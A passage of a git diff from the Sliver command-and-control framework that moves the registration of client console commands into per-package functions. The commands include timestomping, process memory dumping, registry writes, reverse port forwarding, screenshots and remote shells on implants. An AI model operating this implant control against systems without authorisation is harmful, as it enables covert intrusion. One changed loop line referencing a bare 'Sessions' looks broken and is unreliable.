carapace.ActionValues().Usage("user ID"), + carapace.ActionValues().Usage("group ID (required)"), + ) + + chtimesCmd := &cobra.Command{ + Use: consts.ChtimesStr, + Short: "Change access and modification times on a file (timestomp)", + Long: help.GetHelpFor([]string{consts.ChtimesStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChtimesCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chtimesCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change access timestamps"), + carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), + carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), + ) + + getprivsCmd := &cobra.Command{ + Use: consts.GetPrivsStr, + Short: "Get current privileges (Windows only)", + Long: help.GetHelpFor([]string{consts.GetPrivsStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + GetPrivsCmd(cmd, con, args) + }, + } + flags.Bind("", false, getprivsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{runAsCmd, impersonateCmd, revToSelfCmd, makeTokenCmd, getSystemCmd, chtimesCmd, chmodCmd, chownCmd, getprivsCmd} +} diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go new file mode 100644 index 0000000000..f844894b70 --- /dev/null +++ b/client/command/processes/commands.go @@ -0,0 +1,73 @@ +package processes + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + psCmd := &cobra.Command{ + Use: consts.PsStr, + Short: "List remote processes", + Long: help.GetHelpFor([]string{consts.PsStr}), + Run: func(cmd *cobra.Command, args []string) { + PsCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, psCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "filter based on pid") + f.StringP("exe", "e", "", "filter based on executable name") + f.StringP("owner", "o", "", "filter based on owner") + f.BoolP("print-cmdline", "c", false, "print command line arguments") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.BoolP("tree", "T", false, "print process tree") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + procdumpCmd := &cobra.Command{ + Use: consts.ProcdumpStr, + Short: "Dump process memory", + Long: help.GetHelpFor([]string{consts.ProcdumpStr}), + Run: func(cmd *cobra.Command, args []string) { + ProcdumpCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, procdumpCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "target pid") + f.StringP("name", "n", "", "target process name") + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + terminateCmd := &cobra.Command{ + Use: consts.TerminateStr, + Short: "Terminate a process on the remote system", + Long: help.GetHelpFor([]string{consts.TerminateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TerminateCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, terminateCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "disregard safety and kill the PID") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) + + return []*cobra.Command{psCmd, procdumpCmd, terminateCmd} +} diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go new file mode 100644 index 0000000000..5e52838177 --- /dev/null +++ b/client/command/reconfig/commands.go @@ -0,0 +1,47 @@ +package reconfig + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + reconfigCmd := &cobra.Command{ + Use: consts.ReconfigStr, + Short: "Reconfigure the active beacon/session", + Long: help.GetHelpFor([]string{consts.ReconfigStr}), + Run: func(cmd *cobra.Command, args []string) { + ReconfigCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { + f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") + f.StringP("beacon-interval", "i", "", "beacon callback interval") + f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + renameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Rename the active beacon/session", + Long: help.GetHelpFor([]string{consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + RenameCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("rename", false, renameCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "change implant name to") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{reconfigCmd, renameCmd} +} diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go new file mode 100644 index 0000000000..228cf37e40 --- /dev/null +++ b/client/command/registry/commands.go @@ -0,0 +1,129 @@ +package registry + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + registryCmd := &cobra.Command{ + Use: consts.RegistryStr, + Short: "Windows registry operations", + Long: help.GetHelpFor([]string{consts.RegistryStr}), + GroupID: consts.InfoHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("registry", true, registryCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + registryReadCmd := &cobra.Command{ + Use: consts.RegistryReadStr, + Short: "Read values from the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryReadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegReadCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryReadCmd) + flags.Bind("", false, registryReadCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to read values from") + }) + carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryWriteCmd := &cobra.Command{ + Use: consts.RegistryWriteStr, + Short: "Write values to the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + RegWriteCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryWriteCmd) + flags.Bind("", false, registryWriteCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") + f.StringP("path", "p", "", "path to the binary file to write") + }) + carapace.Gen(registryWriteCmd).PositionalCompletion( + carapace.ActionValues().Usage("registry path"), + carapace.ActionValues().Usage("value to write"), + ) + + registryCreateKeyCmd := &cobra.Command{ + Use: consts.RegistryCreateKeyStr, + Short: "Create a registry key", + Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegCreateKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryCreateKeyCmd) + flags.Bind("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryDeleteKeyCmd := &cobra.Command{ + Use: consts.RegistryDeleteKeyStr, + Short: "Remove a registry key", + Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegDeleteKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryDeleteKeyCmd) + flags.Bind("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to remove value from") + }) + carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListSubCmd := &cobra.Command{ + Use: consts.RegistryListSubStr, + Short: "List the sub keys under a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListSubKeysCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListSubCmd) + flags.Bind("", false, registryListSubCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListValuesCmd := &cobra.Command{ + Use: consts.RegistryListValuesStr, + Short: "List the values for a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListValuesCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListValuesCmd) + flags.Bind("", false, registryListValuesCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + return []*cobra.Command{registryCmd} +} diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go new file mode 100644 index 0000000000..d2b35b6eb7 --- /dev/null +++ b/client/command/rportfwd/commands.go @@ -0,0 +1,64 @@ +package rportfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + rportfwdCmd := &cobra.Command{ + Use: consts.RportfwdStr, + Short: "reverse port forwardings", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + RportFwdListenersCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", true, rportfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + rportfwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add and start reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + StartRportFwdListenerCmd(cmd, con, args) + }, + } + rportfwdCmd.AddCommand(rportfwdAddCmd) + flags.Bind("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote address : connection is forwarded to") + f.StringP("bind", "b", "", "bind address : for implants to listen on") + }) + flags.BindFlagCompletions(rportfwdAddCmd, func(comp *carapace.ActionMap) { + (*comp)["remote"] = completers.ClientInterfacesCompleter() + }) + + rportfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Stop and remove reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + StopRportFwdListenerCmd(cmd, con, args) + }, + } + rportfwdCmd.AddCommand(rportfwdRmCmd) + flags.Bind("", false, rportfwdRmCmd, func(f *pflag.FlagSet) { + f.Uint32P("id", "i", 0, "id of portfwd to remove") + }) + flags.BindFlagCompletions(rportfwdRmCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = PortfwdIDCompleter(con) + }) + + return []*cobra.Command{rportfwdCmd} +} diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go new file mode 100644 index 0000000000..85758509ae --- /dev/null +++ b/client/command/screenshot/commands.go @@ -0,0 +1,37 @@ +package screenshot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + screenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot", + Long: help.GetHelpFor([]string{consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + ScreenshotCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, screenshotCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + return []*cobra.Command{screenshotCmd} +} diff --git a/client/command/server.go b/client/command/server.go index 5ff9306a07..034ac242c7 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -76,7 +76,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. // the present calls. // Core - bindCommands(consts.GenericHelpGroup, server, con, + bind(consts.GenericHelpGroup, server, con, exit.Command, licenses.Commands, settings.Commands, @@ -90,21 +90,21 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. ) // C2 Network - bindCommands(consts.NetworkHelpGroup, server, con, + bind(consts.NetworkHelpGroup, server, con, jobs.Commands, websites.Commands, wireguard.Commands, ) // Payloads - bindCommands(consts.PayloadsHelpGroup, server, con, + bind(consts.PayloadsHelpGroup, server, con, sgn.Commands, generate.Commands, builders.Commands, ) // Slivers - bindCommands(consts.SliverHelpGroup, server, con, + bind(consts.SliverHelpGroup, server, con, use.Commands, info.Commands, sessions.Commands, @@ -115,7 +115,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. reaction.Commands, ) - // [ Post-command declaration setup]----------------------------------------- + // [ Post-command declaration setup ]----------------------------------------- // Everything below this line should preferably not be any command binding // (although you can do so without fear). If there are any final modifications diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index 0928b782d0..a550d43b9a 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -68,7 +68,7 @@ func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err == nil { - for _, s := range sessions.Sessions { + for _, s := range Sessions { link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) id := fmt.Sprintf("%s (%d)", s.Name, s.PID) userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) @@ -83,3 +83,57 @@ func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } + +// SliverCommands returns all session control commands for the active target. +func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { + backgroundCmd := &cobra.Command{ + Use: consts.BackgroundStr, + Short: "Background an active session", + Long: help.GetHelpFor([]string{consts.BackgroundStr}), + Run: func(cmd *cobra.Command, args []string) { + BackgroundCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, backgroundCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + openSessionCmd := &cobra.Command{ + Use: consts.InteractiveStr, + Short: "Task a beacon to open an interactive session (Beacon only)", + Long: help.GetHelpFor([]string{consts.InteractiveStr}), + Run: func(cmd *cobra.Command, args []string) { + InteractiveCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "namedpipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") + + f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + closeSessionCmd := &cobra.Command{ + Use: consts.CloseStr, + Short: "Close an interactive session without killing the remote process", + Long: help.GetHelpFor([]string{consts.CloseStr}), + Run: func(cmd *cobra.Command, args []string) { + CloseSessionCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", false, closeSessionCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{backgroundCmd, openSessionCmd, closeSessionCmd} +} diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go new file mode 100644 index 0000000000..4791cc8215 --- /dev/null +++ b/client/command/shell/commands.go @@ -0,0 +1,33 @@ +package shell + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + shellCmd := &cobra.Command{ + Use: consts.ShellStr, + Short: "Start an interactive shell", + Long: help.GetHelpFor([]string{consts.ShellStr}), + Run: func(cmd *cobra.Command, args []string) { + ShellCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + } + flags.Bind("", false, shellCmd, func(f *pflag.FlagSet) { + f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") + f.StringP("shell-path", "s", "", "path to shell interpreter") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{shellCmd} +} diff --git a/client/command/sliver.go b/client/command/sliver.go index f69bcd483e..15a3d32c91 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -20,22 +20,17 @@ package command import ( "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/cursed" "github.com/bishopfox/sliver/client/command/dllhijack" "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/filesystem" - "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/network" @@ -51,7 +46,6 @@ import ( "github.com/bishopfox/sliver/client/command/shell" "github.com/bishopfox/sliver/client/command/socks" "github.com/bishopfox/sliver/client/command/tasks" - "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/wasm" "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" @@ -68,18 +62,69 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { }, } - groups := []*cobra.Group{ - {ID: consts.SliverCoreHelpGroup, Title: consts.SliverCoreHelpGroup}, - {ID: consts.InfoHelpGroup, Title: consts.InfoHelpGroup}, - {ID: consts.FilesystemHelpGroup, Title: consts.FilesystemHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.ExecutionHelpGroup, Title: consts.ExecutionHelpGroup}, - {ID: consts.PrivilegesHelpGroup, Title: consts.PrivilegesHelpGroup}, - {ID: consts.ProcessHelpGroup, Title: consts.ProcessHelpGroup}, - {ID: consts.AliasHelpGroup, Title: consts.AliasHelpGroup}, - {ID: consts.ExtensionHelpGroup, Title: consts.ExtensionHelpGroup}, - } - sliver.AddGroup(groups...) + // [ Core ] + bind(consts.SliverCoreHelpGroup, sliver, con, + reconfig.Commands, + // sessions.Commands, + sessions.SliverCommands, + kill.Commands, + // use.Commands, + tasks.Commands, + pivots.Commands, + ) + + // [ Info ] + bind(consts.InfoHelpGroup, sliver, con, + // info.Commands, + info.SliverCommands, + screenshot.Commands, + environment.Commands, + registry.Commands, + ) + + // [ Filesystem ] + bind(consts.FilesystemHelpGroup, sliver, con, + filesystem.Commands, + ) + + // [ Network tools ] + bind(consts.NetworkHelpGroup, sliver, con, + network.Commands, + rportfwd.Commands, + portfwd.Commands, + socks.Commands, + wireguard.SliverCommands, + ) + + // [ Execution ] + bind(consts.ExecutionHelpGroup, sliver, con, + shell.Commands, + exec.Commands, + backdoor.Commands, + dllhijack.Commands, + cursed.Commands, + wasm.Commands, + ) + + // [ Privileges ] + bind(consts.PrivilegesHelpGroup, sliver, con, + privilege.Commands, + ) + + // [ Processes ] + bind(consts.ProcessHelpGroup, sliver, con, + processes.Commands, + ) + + // [ Aliases ] + bind(consts.AliasHelpGroup, sliver, con) + + // [ Extensions ] + bind(consts.ExtensionHelpGroup, sliver, con, + extensions.Commands, + ) + + // [ Post-command declaration setup ]---------------------------------------- // Load Aliases aliasManifests := assets.GetInstalledAliasManifests() @@ -103,1879 +148,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { extensions.ExtensionRegisterCommand(ext, sliver, con) } - // [ Reconfig ] --------------------------------------------------------------- - - reconfigCmd := &cobra.Command{ - Use: consts.ReconfigStr, - Short: "Reconfigure the active beacon/session", - Long: help.GetHelpFor([]string{consts.ReconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.ReconfigCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(reconfigCmd) - Flags("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { - f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") - f.StringP("beacon-interval", "i", "", "beacon callback interval") - f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - renameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Rename the active beacon/session", - Long: help.GetHelpFor([]string{consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.RenameCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(renameCmd) - Flags("rename", false, renameCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "change implant name to") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - sliver.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - backgroundCmd := &cobra.Command{ - Use: consts.BackgroundStr, - Short: "Background an active session", - Long: help.GetHelpFor([]string{consts.BackgroundStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.BackgroundCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(backgroundCmd) - - killCmd := &cobra.Command{ - Use: consts.KillStr, - Short: "Kill a session", - Long: help.GetHelpFor([]string{consts.KillStr}), - Run: func(cmd *cobra.Command, args []string) { - kill.KillCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(killCmd) - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force kill, does not clean up") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - openSessionCmd := &cobra.Command{ - Use: consts.InteractiveStr, - Short: "Task a beacon to open an interactive session (Beacon only)", - Long: help.GetHelpFor([]string{consts.InteractiveStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.InteractiveCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(openSessionCmd) - Flags("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "namedpipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") - - f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Use ] -------------------------------------------------------------- - - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - - if !con.IsCLI { - sliver.AddCommand(useCmd) - } - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Close ] -------------------------------------------------------------- - closeSessionCmd := &cobra.Command{ - Use: consts.CloseStr, - Short: "Close an interactive session without killing the remote process", - Long: help.GetHelpFor([]string{consts.CloseStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.CloseSessionCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(closeSessionCmd) - Flags("", false, 